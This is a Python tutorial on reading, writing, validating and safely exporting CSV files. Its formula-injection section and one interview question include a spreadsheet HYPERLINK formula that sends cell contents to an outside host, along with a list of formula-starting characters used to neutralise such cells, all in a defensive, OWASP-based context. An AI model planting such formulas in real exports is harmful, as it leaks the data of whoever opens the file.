Python Module 8 – Files, paths and data formats
CSV files with the csv module
Read and write CSV files with Python's csv module, from reader and DictWriter to delimiters, quoting, a spreadsheet's byte order mark and checked fields.
What you will learn
- Explain how quotes let a field hold commas, quotes and line breaks
- Read and write CSV with reader, writer, DictReader and DictWriter
- Handle delimiters, quoting rules and a spreadsheet's byte order mark
- Validate and convert CSV fields, and report bad rows with their lines
- Export text that spreadsheet programs cannot run as formulas
Before you start
What you’ll learn · Before you start
What you will learn
- Explain how quotes let a field hold commas, quotes and line breaks
- Read and write CSV with reader, writer, DictReader and DictWriter
- Handle delimiters, quoting rules and a spreadsheet's byte order mark
- Validate and convert CSV fields, and report bad rows with their lines
- Export text that spreadsheet programs cannot run as formulas
Before you start
On this page
Asha Rao,"Pune, Maharashtra",31 is one record of three fields, yet line.split(",") cuts it into four pieces and
keeps the quote characters. Files from spreadsheets add traps of their own: an invisible mark glued to the first
column name, semicolons instead of commas, and cells that run as formulas when someone opens your export.
A CSV file stores a table as plain text: one record per line, with its fields separated by commas, and double quotes
around any field that contains a comma, a quote or a line break. Python’s csv module reads and writes that format
correctly. csv.reader gives you each record as a list of strings and csv.DictReader as a dictionary keyed by the
header row; csv.writer and csv.DictWriter write rows back and add the quotes a field needs. Open CSV files with
newline="" and an explicit encoding, and convert every field yourself, because the module hands you text and
nothing else.
Quotes let a field hold commas, quotes and line breaks
Splitting each line on commas looks like a CSV reader until a field contains a comma, a quote or a line break. All three appear in this small file:
import csv
with open("contacts.csv", "w", encoding="utf-8", newline="") as f:
f.write('name,city,note\r\n')
f.write('Asha Rao,"Pune, Maharashtra","said ""call after 6"""\r\n')
f.write('Ravi Kumar,Delhi,"two\r\nlines"\r\n')
# Splitting each line on commas breaks quoted fields apart.
with open("contacts.csv", encoding="utf-8") as f:
for line in f:
print(line.rstrip("\n").split(","))
print("---")
# csv.reader understands quotes, doubled quotes and line breaks inside a field.
with open("contacts.csv", encoding="utf-8", newline="") as f:
for row in csv.reader(f):
print(row)Output
['name', 'city', 'note'] ['Asha Rao', '"Pune', ' Maharashtra"', '"said ""call after 6"""'] ['Ravi Kumar', 'Delhi', '"two'] ['lines"'] --- ['name', 'city', 'note'] ['Asha Rao', 'Pune, Maharashtra', 'said "call after 6"'] ['Ravi Kumar', 'Delhi', 'two\r\nlines']
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 split_vs_csv.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
split() cut "Pune, Maharashtra" in two, kept the quote characters as data and broke Ravi’s note over two records.
csv.reader follows the rules of the format: quotes group a field, a doubled quote ("") inside a quoted field
stands for one quote character, and a line break inside quotes belongs to the field. RFC 4180 describes this common
form of CSV, and the csv module’s default CSV dialect: The rules a CSV file follows: its delimiter, its quote character, when fields are quoted, how a quote inside a field is written and how records end. The csv module's default dialect, "excel", reads and writes the common form of RFC 4180., called "excel", reads and writes
it. Step through the two awkward records the way the reader takes them apart:
The drawing shows the whole scene; its 9 steps are listed below.
Every step as text
- Plain text. The reader starts outside quotes and collects the characters of Asha Rao until it meets a comma.
- A comma ends it. Outside quotes, a comma ends the field, which joins the record. The next field starts empty.
- A quote opens. The next field starts with a double quote, so the reader switches to inside quotes. The quote itself is not part of the field.
- A comma that is data. Inside quotes, the comma after Pune is just another character, so the field becomes Pune, Maharashtra.
- The quote closes. The closing quote switches the reader back outside, and the comma after it ends the second field.
- A doubled quote. The third field opens with a quote. Inside it, two quotes in a row stand for one quote character, so the field reads said "call after 6".
- End of the record. The last quote closes the field, and the line break after it, outside quotes, ends the record: three fields, where split(",") made four pieces.
- A line break inside. In Ravi's record, Ravi Kumar and Delhi are plain fields. The third opens with a quote, and the line break after two is inside quotes, so it belongs to the field.
- One record, two lines. The quote after lines closes the field, and the next line break ends the record. One record came from two lines of the file.
Those line breaks inside fields are why every open() for the csv module passes newline="". The module splits
records itself, so it needs the line endings exactly as they are in the file. Without newline="", text mode would
translate them before the module saw them, which garbles line breaks inside quoted fields and, on Windows, makes the
writer’s "\r\n" come out as "\r\r\n". Ravi’s note shows the result: the field still holds the "\r\n" written
into it.
Splitting lines with split(",")
line.split(",") breaks every quoted comma, keeps doubled quotes as they are and cuts a record with a line break
in two. Read with csv.reader, which knows the rules, even when today’s file looks simple.
Checkpoint
Check: Quoted fields and the CSV format
DictReader gives every field as a string
csv.reader yields one list per record. csv.DictReader reads the first record as column names and yields every
following record as a dictionary, so the code says row["maths"] instead of row[2] and keeps working when someone
adds a column. Step through it on a class’s marks, and watch the values of row:
Program · marks/read_marks.py
import csv
with open("marks.csv", encoding="utf-8", newline="") as f:
reader = csv.DictReader(f)
for row in reader:
name = row["name"]
science = row["science"]
print(name, repr(science))Variables
- changed in this step
Printed so far
Nothing printed yetAsha Rao '85' Vikram Singh '88' Meera Iyer '' Khan, Imran '91'
Every step was recorded from a run with Python 3.14.8 on macOS 26 arm64.
The drawing shows the variables when the program ends, and the program's 22 steps are listed below.
Change the program and run it here. Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
Every step as text
- Start. No line has run yet, so there are no variables. Python starts with line 1.
- Line 1.
import csvloadscsv. - Line 3.
with open("marks.csv", encoding="utf-8", newline="") as f:runs. - Line 4.
reader = csv.DictReader(f)setsreaderto<DictReader object>. - Line 5.
for row in reader:starts:rowis{'roll': '1', 'name': 'Asha Rao', 'maths': '78', 'science': '85', 'english': '90'}. Key point DictReader read the header line first and made its names the keys. Every value is a str, '78' and not 78, so marks must be converted before any arithmetic. - Line 6.
name = row["name"]setsnameto'Asha Rao'. - Line 7.
science = row["science"]setsscienceto'85'. - Line 8.
print(name, repr(science))printsAsha Rao '85'. - Line 5.
for row in reader:goes round again:rowis{'roll': '2', 'name': 'Vikram Singh', 'maths': '92', 'science': '88', 'english': '34'}. - Line 6.
name = row["name"]setsnameto'Vikram Singh'(it was'Asha Rao'). - Line 7.
science = row["science"]setsscienceto'88'(it was'85'). - Line 8.
print(name, repr(science))printsVikram Singh '88'. - Line 5.
for row in reader:goes round again:rowis{'roll': '3', 'name': 'Meera Iyer', 'maths': '65', 'science': '', 'english': '72'}. - Line 6.
name = row["name"]setsnameto'Meera Iyer'(it was'Vikram Singh'). - Line 7.
science = row["science"]setsscienceto''(it was'88'). Key point Meera's science field is empty, so science is '', an empty string, not 0 and not None. int('') would raise ValueError. - Line 8.
print(name, repr(science))printsMeera Iyer ''. - Line 5.
for row in reader:goes round again:rowis{'roll': '4', 'name': 'Khan, Imran', 'maths': '88', 'science': '91', 'english': '84'}. - Line 6.
name = row["name"]setsnameto'Khan, Imran'(it was'Meera Iyer'). The quotes around "Khan, Imran" are gone: the comma inside them was part of the field, and the reader keeps only the text between them. - Line 7.
science = row["science"]setsscienceto'91'(it was''). - Line 8.
print(name, repr(science))printsKhan, Imran '91'. - Line 5.
for row in reader:has no item left, so the loop ends. - Line 3.
with open("marks.csv", encoding="utf-8", newline="") as f:runs. That was the last line, so the program ends. Four records, four dicts, and not one number among their values. Converting and checking each field is the program's job.
Every value the reader returned is a str, the numbers included, and an empty field is an empty string, so Meera’s
missing science mark arrived as ''. Convert fields with int(), float() or decimal.Decimal() before doing
arithmetic, and decide what an empty field means before you convert it, because int("") raises ValueError. Here
the same marks become a results file:
marks/results.py
import csv
with open("marks.csv", encoding="utf-8", newline="") as f:
reader = csv.DictReader(f) # the first row becomes the keys
print("columns:", reader.fieldnames)
results = []
for row in reader:
scores = [row["maths"], row["science"], row["english"]]
if "" in scores: # every field is a str; an empty one is a missing score
results.append({"roll": row["roll"], "name": row["name"], "total": "", "status": "incomplete"})
continue
marks = [int(s) for s in scores] # every field is a str: convert before doing arithmetic
status = "pass" if min(marks) >= 35 else "fail" # a pass needs 35 in every subject
results.append({"roll": row["roll"], "name": row["name"], "total": sum(marks), "status": status})
with open("results.csv", "w", encoding="utf-8", newline="") as f:
writer = csv.DictWriter(f, fieldnames=["roll", "name", "total", "status"])
writer.writeheader()
writer.writerows(results)
with open("results.csv", "rb") as f:
for line in f:
print(line) # bytes, to show the "\r\n" that csv writes by defaultOutput
columns: ['roll', 'name', 'maths', 'science', 'english'] b'roll,name,total,status\r\n' b'1,Asha Rao,253,pass\r\n' b'2,Vikram Singh,214,fail\r\n' b'3,Meera Iyer,,incomplete\r\n' b'4,"Khan, Imran",263,pass\r\n'
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 results.py
marks/marks.csv
roll,name,maths,science,english
1,Asha Rao,78,85,90
2,Vikram Singh,92,88,34
3,Meera Iyer,65,,72
4,"Khan, Imran",88,91,84Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
Once the marks are numbers, the rule “at least 35 in every subject” is one min(): Vikram’s total of 214 is a fail
because of his 34 in English. The reader also handled the quoted "Khan, Imran" without help.
Comparing fields before converting them
Fields are text, and text compares character by character: "10" < "9" is True. Convert first, as in
int(row["maths"]), then compare or add.
Checkpoint
Check: Reading rows as strings
DictWriter quotes what needs it and refuses unknown keys
results.py wrote its file with a DictWriter: you name the columns once in fieldnames, call writeheader() for
the header row and writerows() for the data, and each row is a dictionary. The bytes it printed at the end show two
things the writer does by default. It quotes only the fields that need quotes, such as the name with a comma in it.
And it ends each record with "\r\n", the line ending of the "excel" dialect; pass lineterminator="\n" when a
program that reads the file insists on "\n".
DictWriter is also strict about keys. This example writes a row without a total and one with a misspelt column
name:
import csv
rows = [
{"roll": 1, "name": "Asha Rao", "total": 253},
{"roll": 4, "name": "Khan, Imran"}, # no total: restval fills the gap
]
with open("results.csv", "w", encoding="utf-8", newline="") as f:
writer = csv.DictWriter(f, fieldnames=["roll", "name", "total"], restval="n/a")
writer.writeheader()
writer.writerows(rows)
try:
writer.writerow({"roll": 5, "name": "Ravi", "totl": 190}) # a typo in a column name
except ValueError as err:
print("ValueError:", err)
# extrasaction="ignore" drops unknown keys without a word, the typo included.
quiet = csv.DictWriter(f, fieldnames=["roll", "name", "total"], restval="n/a", extrasaction="ignore")
quiet.writerow({"roll": 5, "name": "Ravi", "totl": 190})
with open("results.csv", "rb") as f:
for line in f:
print(line) # bytes, to show the quotes and the "\r\n" that csv writesOutput
ValueError: dict contains fields not in fieldnames: 'totl' b'roll,name,total\r\n' b'1,Asha Rao,253\r\n' b'4,"Khan, Imran",n/a\r\n' b'5,Ravi,n/a\r\n'
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 write_rows.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
The table sums up what the writer did with each kind of row, and the argument that changes it:
| What the row holds | What DictWriter does by default |
To change it |
|---|---|---|
| a field with a comma, a quote or a line break | quotes it, as "Khan, Imran" |
quoting= |
a key that is not in fieldnames, such as totl |
raises ValueError and writes nothing |
extrasaction="ignore" |
no value for a name in fieldnames |
writes restval, an empty field by default |
restval="n/a" |
| any record at all | ends it with "\r\n" |
lineterminator="\n" |
The strict default protects you from typos in column names: the misspelt totl raised ValueError, while the
writer with extrasaction="ignore" dropped it without a word, and Ravi’s total was lost. A missing key is written as
restval, here n/a. The plain writer takes lists instead, written in order with writerow() or writerows().
Checkpoint
Check: Writing rows with DictWriter
A dialect names the delimiter and the quoting rules
Not every “CSV” file uses commas. In many languages a comma is the decimal separator, so spreadsheets set to those languages often save files with semicolons as the delimiter: The character that separates the fields of a record: a comma by default, often a semicolon in files saved by spreadsheets set to languages that write decimals with a comma. csv.reader takes it as delimiter=.:
import csv
# Spreadsheets set to languages that write 4,50 for four and a half often save with semicolons.
with open("prices.csv", "w", encoding="utf-8", newline="") as f:
f.write('item;price;qty\r\n"Tea; masala";4,50;2\r\nCoffee;3,20;5\r\n')
with open("prices.csv", encoding="utf-8", newline="") as f:
sample = f.read(1024)
dialect = csv.Sniffer().sniff(sample, delimiters=";,") # a guess from the first kilobyte
print("sniffed delimiter:", repr(dialect.delimiter))
f.seek(0)
for row in csv.DictReader(f, delimiter=";"): # stating it is more reliable than guessing
price = float(row["price"].replace(",", "."))
print(f"{row['item']:<12} {price:5.2f} x {int(row['qty'])} = {price * int(row['qty']):6.2f}")
with open("export.csv", "w", encoding="utf-8", newline="") as f:
csv.writer(f, delimiter=";", quoting=csv.QUOTE_NONNUMERIC).writerow(["Tea; masala", 4.5, 2])
with open("export.csv", encoding="utf-8", newline="") as f:
print(repr(f.read()))Output
sniffed delimiter: ';' Tea; masala 4.50 x 2 = 9.00 Coffee 3.20 x 5 = 16.00 '"Tea; masala";4.5;2\r\n'
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 semicolons.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
csv.Sniffer().sniff() guessed the semicolon from a sample of the file. A guess can be wrong, and the documentation
calls the Sniffer’s related has_header() check a rough heuristic, so treat the Sniffer as help for files you have
never seen and state delimiter=";" whenever you know the format. Press Edit, remove delimiter=";" from the
DictReader and run it again: the header becomes one column named item;price;qty, the decimal commas cut each
record under it in two, and row["price"] raises KeyError. The decimal commas are still text: "4,50" becomes a number
only after replace(",", "."). Other dialect settings follow the
same pattern as delimiter: quotechar for the quote character, escapechar for a character that protects the next
one, and quoting for when fields are quoted:
quoting= |
When writing | When reading |
|---|---|---|
csv.QUOTE_MINIMAL (the default) |
quotes fields that contain the delimiter, the quote character or a line break | removes the quotes |
csv.QUOTE_ALL |
quotes every field | removes the quotes |
csv.QUOTE_NONNUMERIC |
quotes every field that is not a number | turns every unquoted field into a float |
csv.QUOTE_NONE |
never quotes; needs escapechar for special characters |
treats quote characters as ordinary text |
Python 3.12 added two more, QUOTE_STRINGS and QUOTE_NOTNULL, which also tell None apart from an empty string.
The last lines of the example wrote a row with QUOTE_NONNUMERIC: the text was quoted and the two numbers were not.
Checkpoint
Check: Delimiters and quoting rules
A byte order mark hides in the first column name
Some spreadsheet programs save “CSV UTF-8” files that begin with a
byte order mark: The character U+FEFF at the very start of a text file. In UTF-16 it shows the order of the bytes; in UTF-8 it is the three bytes ef bb bf and only labels the file. The utf-8-sig codec removes it. More in “Text vs bytes: Unicode, encodings, bytearray”, the three bytes ef bb bf. Decoded as UTF-8, the mark becomes an
invisible character, U+FEFF, at the start of the first column name:
import csv
# Some spreadsheet programs start a UTF-8 file with a byte order mark (BOM): the bytes ef bb bf.
with open("students.csv", "wb") as f:
f.write(b"\xef\xbb\xbfname,city\r\nPriya,Kochi\r\n")
with open("students.csv", encoding="utf-8", newline="") as f:
reader = csv.DictReader(f)
print(reader.fieldnames) # the first key starts with an invisible U+FEFF
row = next(reader)
print("'name' in row:", "name" in row)
with open("students.csv", encoding="utf-8-sig", newline="") as f: # removes the mark if it is there
for row in csv.DictReader(f):
print(row["name"], row["city"])
# Writing for a spreadsheet program: utf-8-sig adds the mark so that it recognises UTF-8.
with open("for_excel.csv", "w", encoding="utf-8-sig", newline="") as f:
csv.writer(f).writerows([["name", "city"], ["अनन्या", "Nagpur"]])
with open("for_excel.csv", "rb") as f:
print(f.read()[:12])Output
['\ufeffname', 'city'] 'name' in row: False Priya Kochi b'\xef\xbb\xbfname,city'
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 bom_header.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
The first key was "\ufeffname", so row["name"] would raise KeyError although the header looks like name in
every editor. Reading with encoding="utf-8-sig" removes the mark when it is there and reads the file normally when
it is not, so it is the safe choice for CSV files that people export from spreadsheets:
| The file starts with | Read with "utf-8" |
Read with "utf-8-sig" |
|---|---|---|
the bytes ef bb bf, then name |
first key "\ufeffname" |
first key "name" |
name, with no mark |
first key "name" |
first key "name" |
The lesson Text vs bytes explains where the mark comes from. Writing works the other
way round. Microsoft’s support article on CSV UTF-8 files says that Excel opens such a file normally when it was
saved with the mark, and describes importing it through the Data tab when it was not. So write with
encoding="utf-8-sig" when people will open your export in a spreadsheet, which keeps text such as the Devanagari
name in the example readable, and with plain "utf-8" when other programs read it.
Checkpoint
Check: The byte order mark
A checker reports every bad row with its line number
A CSV file is input from outside, and its rows can be short, long or simply wrong. DictReader copes with the wrong
number of fields in a defined way: extra fields go into a list stored under the key restkey, which is None unless
you choose another, and missing fields get the value restval, also None by default. A checker can look for both.
Follow five sign-ups through the same checks:
The drawing shows the whole scene; its 6 steps are listed below.
Every step as text
- Line 2: Asha. Three fields for three headings, age 31 and one @ in asha@example.com. No check adds a message, so the row is accepted, its age converted to the int 31.
- Line 3: Ravi. The fields are all there and the age is fine, but ravi.example.com has no @, so the email check adds its message.
- Line 4: Meera. The row has two fields for three headings. DictReader fills the missing age with None, its restval, so the missing check adds "missing age" and the age check is skipped.
- Line 5: Imran. Five fields for three headings. The two extra ones are stored in a list under the key None, its restkey, and the check reports "2 extra field(s)".
- Line 6: Kiran. The age field says twelve. isdecimal() is False for it, so the age check reports that it is not a whole number from 1 to 129.
- One pass, every problem. One pass over the file accepted one row and rejected four, each with the line an editor shows. No problem stopped the run, so the report lists them all.
Here is the checker that the figure follows:
import csv
with open("signups.csv", "w", encoding="utf-8", newline="") as f:
f.write("name,email,age\r\n")
f.write("Asha,asha@example.com,31\r\n")
f.write("Ravi,ravi.example.com,27\r\n")
f.write("Meera,meera@example.org\r\n")
f.write("Imran,imran@example.in,40,extra,fields\r\n")
f.write("Kiran,kiran@example.net,twelve\r\n")
def check(row):
"""The problems of one row, as a list of messages (empty when the row is fine)."""
problems = []
if None in row: # restkey: more fields than headings
problems.append(f"{len(row[None])} extra field(s)")
if row["age"] is None: # restval: fewer fields than headings
problems.append("missing age")
elif not row["age"].isdecimal() or not 0 < int(row["age"]) < 130:
problems.append(f"age {row['age']!r} is not a whole number from 1 to 129")
if row["email"].count("@") != 1:
problems.append(f"email {row['email']!r} needs exactly one @")
return problems
good, bad = [], []
with open("signups.csv", encoding="utf-8", newline="") as f:
reader = csv.DictReader(f)
for row in reader:
problems = check(row)
if problems:
bad.append(f"line {reader.line_num}: " + "; ".join(problems))
else:
good.append({"name": row["name"], "email": row["email"], "age": int(row["age"])})
print("accepted:", good)
print("rejected:")
for message in bad:
print(" ", message)
# One field longer than this many characters stops the reader with csv.Error.
print("longest field allowed:", csv.field_size_limit())Output
accepted: [{'name': 'Asha', 'email': 'asha@example.com', 'age': 31}]
rejected:
line 3: email 'ravi.example.com' needs exactly one @
line 4: missing age
line 5: 2 extra field(s)
line 6: age 'twelve' is not a whole number from 1 to 129
longest field allowed: 131072
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 validate_rows.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
The checker returns a list of problems instead of raising at the first one, so one pass over the file reports
everything that is wrong. reader.line_num counts the physical lines read so far, the number an editor shows next to
the line, which makes the report easy to act on; it can be larger than the record number when a field contains line
breaks. Keep the rejected rows and their reasons rather than dropping them silently: someone has to fix the source.
A reader works one record at a time, so a file of any size can be checked in a loop without loading it. One limit
can still stop you: a single field longer than 131,072 characters, the limit the last line printed, raises
csv.Error, and csv.field_size_limit() raises that limit when you expect such fields.
Key idea
Treat every row as untrusted: check it, collect every problem with its reader.line_num, and keep the rejected
rows with their reasons.
Checkpoint
Check: Checking rows and reporting them
A cell that starts with an equals sign can run as a formula
When people open a CSV file in a spreadsheet program, a cell that starts with = can run as a formula, and so can
cells starting with +, - or @, a tab, a carriage return or a line feed; the OWASP page adds the full-width forms
of the first four, which some locales read as formulas too. If your export contains text that users typed, such as
names or comments, someone can store a formula that runs on the computer of whoever opens the export. OWASP calls
this CSV injection, also formula injection: Also called CSV injection: text that a user typed, such as a name starting with =, becomes a formula when an exported CSV file is opened in a spreadsheet. Exports neutralise such cells, for example with a single quote in front.. One of the mitigations on the
OWASP page is to put a single quote in front of such values, which makes the spreadsheet show them as text:
import csv
# The first characters that OWASP lists: the four formula signs, tab, carriage return, line feed and their
# full-width forms, which some locales also read as formulas.
RISKY_START = ("=", "+", "-", "@", "\t", "\r", "\n", "＝", "＋", "－", "＠")
def neutralise(value):
"""Make a text value that a spreadsheet would run as a formula show as plain text instead."""
if isinstance(value, str) and value.startswith(RISKY_START):
return "'" + value
return value
users = [
{"name": "Asha Rao", "city": "Pune", "balance": -250},
{"name": '=HYPERLINK("https://example.com/?d="&A1,"Click")', "city": "Delhi", "balance": 1200},
{"name": "@SUM(1+1)", "city": "+91 Mumbai", "balance": 0},
]
def export(path, clean):
with open(path, "w", encoding="utf-8", newline="") as f:
writer = csv.DictWriter(f, fieldnames=["name", "city", "balance"])
writer.writeheader()
for user in users:
# Only text columns: a real negative number such as -250 must stay a number.
writer.writerow({"name": clean(user["name"]), "city": clean(user["city"]), "balance": user["balance"]})
def risky_cells(path):
"""The text cells of an export that a spreadsheet would run as formulas."""
with open(path, encoding="utf-8", newline="") as f:
return [row[k] for row in csv.DictReader(f) for k in ("name", "city") if row[k].startswith(RISKY_START)]
export("users_raw.csv", lambda value: value) # the weak export, for the check below
export("users.csv", neutralise)
with open("users.csv", encoding="utf-8", newline="") as f:
print(f.read(), end="")
print("risky cells, raw export:", len(risky_cells("users_raw.csv")))
print("risky cells, neutralised export:", len(risky_cells("users.csv")))Output
name,city,balance
Asha Rao,Pune,-250
"'=HYPERLINK(""https://example.com/?d=""&A1,""Click"")",Delhi,1200
'@SUM(1+1),'+91 Mumbai,0
risky cells, raw export: 3
risky cells, neutralised export: 0
Recorded with Python 3.14.8 on macOS 26 arm64. To run it yourself: mise exec python@3.14.8 -- python3 csv_injection.py
Runs on this device, in your browser. The first run downloads Python (about 13.5 MB), which is kept for the next runs.
Your run, in this browser
The table follows each risky value of the example through the export:
| Value in the example | Column | What the export wrote |
|---|---|---|
the =HYPERLINK(…) name |
name, typed by a user | a quote in front, the field quoted, its " doubled |
@SUM(1+1) |
name | '@SUM(1+1) |
+91 Mumbai |
city | '+91 Mumbai, harmless text changed too |
-250 |
balance, a number | -250, unchanged |
The HYPERLINK formula is now text, and the csv module doubled its quote characters so the field is still valid
CSV. Two choices in the example matter. The prefix is applied only to text columns, because a real negative number
such as -250 must stay a number. And it changes harmless text too, such as the city +91 Mumbai, which is the
price of the protection. The last two lines are the check that guards the export: read back, the raw export holds 3
text cells that start with a risky character, and the neutralised one holds none.
The OWASP page adds two warnings. Excel may remove such quotes when it saves a file and opens it again, so a neutralised export is safe to open but not after a round trip through Excel, for which the page describes an Excel-specific alternative. And no rule fits every spreadsheet program and every program that later reads the file, so neutralise exports that people will open, and leave data that only programs read as it is.
Security
Treat a CSV export as output that runs on someone else’s computer. Neutralise cells from users that start with
=, +, -, @, a tab, a carriage return or a line feed, and never build formulas from user input.
Checkpoint
Check: Formulas in exported cells
Practise: clean a CSV file and report the rejects
The exercise asks for clean_csv(), which reads a file with or without a byte order mark, trims every field, rejects
rows with the wrong number of fields, a bad email or a duplicate, and writes both the clean file and a report of the
rejects with their record numbers. Its sample tests run in your browser:
Exercise · Medium · Python
Clean a CSV file and report the rejected rows
Write clean_csv(in_path, out_path, rejects_path) in cleaner.py. It reads a CSV file whose first row holds the column names, among them email, and writes two CSV files with the csv module's default settings (commas, "\r\n" line endings) in UTF-8. It returns a pair (kept, rejected): how many data rows went to each file.
- Read the input as UTF-8, with or without a byte order mark at its start, and remove spaces at both ends of every field and every column name.
- Number the records as the input has them: the header is record 1 and the first data row record 2.
- Reject a row, in this order of checks, when:
- it has more or fewer fields than the header: reason
wrong number of fields; - its
emailis not valid: reasoninvalid email. A valid email has exactly one@, at least one character before it and no spaces; the domain after it contains at least one dot but does not start or end with one; - it is the same, field for field after trimming, as an earlier row that was kept: reason
duplicate of record N, where N is the number of that earlier record.
- it has more or fewer fields than the header: reason
out_pathgets the cleaned header and the kept rows in their input order.rejects_pathgets the headerrecord,reasonand one row for each rejected record.
For example, in a file whose record 4 repeats record 2 with extra spaces, record 4 is rejected with the reason duplicate of record 2.
Starter code · cleaner.py
import csv
def clean_csv(in_path, out_path, rejects_path):
"""Write the valid, unique rows of in_path to out_path and report the others in rejects_path."""
# Replace these lines with your code.
with open(in_path, encoding="utf-8", newline="") as f:
rows = list(csv.reader(f))
with open(out_path, "w", encoding="utf-8", newline="") as f:
csv.writer(f).writerows(rows)
with open(rejects_path, "w", encoding="utf-8", newline="") as f:
csv.writer(f).writerow(["record", "reason"])
return len(rows) - 1, 0The sample tests · test_cleaner.py
import os
import tempfile
from cleaner import clean_csv
def run(data):
"""Clean `data` (bytes) and return (result, output bytes, rejects bytes)."""
with tempfile.TemporaryDirectory() as folder:
source = os.path.join(folder, "in.csv")
out = os.path.join(folder, "out.csv")
rejects = os.path.join(folder, "rejects.csv")
with open(source, "wb") as f:
f.write(data)
result = clean_csv(source, out, rejects)
with open(out, "rb") as f:
cleaned = f.read()
with open(rejects, "rb") as f:
report = f.read()
return result, cleaned, report
def test_clean_file_is_copied():
"""a clean file comes out with the same rows and the csv module's line endings"""
result, cleaned, report = run(b"name,email\nAsha,asha@example.com\nRavi,ravi@example.org\n")
assert result == (2, 0)
assert cleaned == b"name,email\r\nAsha,asha@example.com\r\nRavi,ravi@example.org\r\n"
assert report == b"record,reason\r\n"
def test_trims_and_rejects():
"""trims fields and headings, and rejects bad emails, wrong field counts and duplicates"""
data = (
b"name , email ,city\n"
b" Asha Rao , asha@example.com ,Pune\n"
b"Ravi,ravi(at)example.com,Delhi\n"
b" Asha Rao,asha@example.com, Pune \n"
b"Meera,meera@mail.example.org,Chennai,extra\n"
b'"Khan, Imran",imran@example.in,Lucknow\n'
)
result, cleaned, report = run(data)
assert cleaned == b'name,email,city\r\nAsha Rao,asha@example.com,Pune\r\n"Khan, Imran",imran@example.in,Lucknow\r\n'
assert report == b"record,reason\r\n3,invalid email\r\n4,duplicate of record 2\r\n5,wrong number of fields\r\n"
assert result == (2, 3)
def test_email_rule():
"""applies every part of the email rule"""
bad = ["", "@example.com", "asha@", "asha@example", "asha@.example.com", "asha@example.com.", "a b@example.com", "a@b@example.com"]
good = ["a@b.co", "asha.rao+test@mail.example.org"]
rows = b"".join(f"x,{e}\n".encode() for e in bad + good)
result, cleaned, report = run(b"name,email\n" + rows)
assert result == (len(good), len(bad))
assert cleaned == b"name,email\r\n" + b"".join(f"x,{e}\r\n".encode() for e in good)
def test_byte_order_mark_and_utf8():
"""reads a file that starts with a byte order mark and keeps non-ASCII text"""
data = "\ufeffname,email\nअनन्या,ananya@example.in\n".encode("utf-8")
result, cleaned, report = run(data)
assert result == (1, 0)
assert cleaned == "name,email\r\nअनन्या,ananya@example.in\r\n".encode("utf-8")A hint
Open the input with encoding="utf-8-sig" and newline="", read the header with next(reader), and loop with for number, row in enumerate(reader, start=2):. Trim with [field.strip() for field in row]. Keep a dictionary that maps each kept row, as a tuple, to its record number: if key in seen: tells you about a duplicate and seen[key] gives its number. Write both output files with newline="".
Results of the sample tests
| Test | Result | Details |
|---|
What your code printed
The sample tests run on this device, in your browser (Pyodide): nothing is sent to mysmartcopilot.com. The first run downloads Python (about 13.5 MB), which is kept for the next runs. A check in your browser is feedback for you, not proof that the code is right for every input.
All seven ideas of the lesson, from quoted fields to formulas in exports, are in the practice below. It picks the one you have answered least well, asks about it one question at a time, and gives the reason behind every choice:
Practice that adapts to you
Practise this lesson
20 questions about 7 ideas of this lesson. Each answer is explained at once, and what you get right is kept in this browser.
Interview questions
Why do you open a CSV file with newline=“” in Python?
The csv module finds the ends of records itself, and it must see the line endings exactly as they are in the file.
Without newline="", text mode translates line endings on the way in and out: when reading, a line break inside a
quoted field can be changed before the module sees it, and when writing on Windows, the "\r\n" that the writer
puts after each record becomes "\r\r\n", which shows up as blank rows in some programs. With newline="", text mode
leaves line endings alone and the csv module handles them in both directions. The encoding is a separate choice:
pass it as well, for example open("data.csv", encoding="utf-8-sig", newline="").
Model answers open with any pass: ₹79 for 1 week ($2.99), one payment that never renews.
-
Mid to senior
Users of a web app choose their display names, and support staff export all users to CSV and open the file in a spreadsheet. One name is =HYPERLINK("https://example.com/?d="&A2,"Open"). What can go wrong, and how do you export safely without breaking the file for programs that also read it?
-
Mid to senior
A partner sends a 10 GB CSV file of orders every night, and your job loads it into a database. Some rows are malformed. How do you read, validate and load it without running out of memory, without losing the bad rows, and so that a failure halfway can be retried safely?
Key takeaways
- Read CSV with
csv.readerorcsv.DictReaderand write it withcsv.writerorcsv.DictWriter, never withsplit()and string joins: quotes let a field hold commas, quotes and line breaks. - Open every CSV file with
newline=""and an explicit encoding;utf-8-sigreads spreadsheet exports that start with a byte order mark. - Every field arrives as a
str, and an empty field as"": convert and validate each column yourself. - The default dialect quotes only fields that need it and ends records with
"\r\n";delimiter,quotingandlineterminatorchange that, andDictWriterrefuses keys it does not know. restkeyandrestvalcatch rows with too many or too few fields, andreader.line_numgives the line for an error report.- Neutralise user text that starts with
=,+,-,@, a tab, a carriage return or a line feed before exporting it for spreadsheets.
Terms in this lesson
- CSV dialect
- The rules a CSV file follows: its delimiter, its quote character, when fields are quoted, how a quote inside a field is written and how records end. The csv module's default dialect, "excel", reads and writes the common form of RFC 4180.
- delimiter
- The character that separates the fields of a record: a comma by default, often a semicolon in files saved by spreadsheets set to languages that write decimals with a comma. csv.reader takes it as delimiter=.
- formula injection
- Also called CSV injection: text that a user typed, such as a name starting with =, becomes a formula when an exported CSV file is opened in a spreadsheet. Exports neutralise such cells, for example with a single quote in front.
References
- csv: CSV file reading and writing (Python Software Foundation)
- csv: dialects and formatting parameters (Python Software Foundation)
- csv.DictReader (Python Software Foundation)
